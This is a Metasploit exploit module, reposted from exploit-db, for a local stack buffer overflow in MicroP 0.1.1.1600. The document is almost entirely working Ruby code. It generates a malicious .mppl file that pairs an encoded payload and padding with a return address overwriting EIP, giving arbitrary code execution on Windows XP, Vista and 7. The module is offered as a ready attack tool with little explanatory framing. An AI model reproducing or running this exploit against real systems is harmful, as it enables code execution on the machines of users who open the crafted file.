MicroP 0.1.1.1600 – ‘.mppl’ Local Stack Buffer Overflow (Metasploit) - 体验盒子

作者： Metasploit
日期： 2011-07-07
类别：
local
平台：
windows
来源：https://www.exploit-db.com/exploits/17502/
##
# $Id: microp_mppl.rb 13114 2011-07-07 06:29:37Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow',
			'Description'=> %q{ 
					This module exploits a vulnerability found in MicroP 0.1.1.1600.A stack-based
				buffer overflow occurs when the content of a .mppl file gets copied onto the stack,
				which overwrites the lpFileName parameter of a CreateFileA() function, and results
				arbitrary code execution under the context of the user.
			},
			'License'=> MSF_LICENSE,
			'Author' => [ 'James Fitts' ],
			'Version'=> '$Revision: 13114 $',
			'References' =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/14720' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'=>
				{
					'Space'=> 728,
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform' => 'win',
			'Targets'=>
				[
					[
						'Windows XP SP3 / Vista / 7',
						{
							'Ret'=> 0x100145b5,#jmp eax in bass.dll
							'Offset' => 1276,#Offset to overwrite EIP
						}
					],
				],
			'Privileged' => false,
			'DisclosureDate' => 'Aug 23 2010',
			'DefaultTarget'=> 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.','msf.mppl']),
				], self.class)
	end

	def exploit
		mppl= payload.encoded
		mppl << rand_text_alpha(target['Offset'] - payload.encoded.length)
		mppl << [target.ret].pack('V')

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(mppl)
	end

end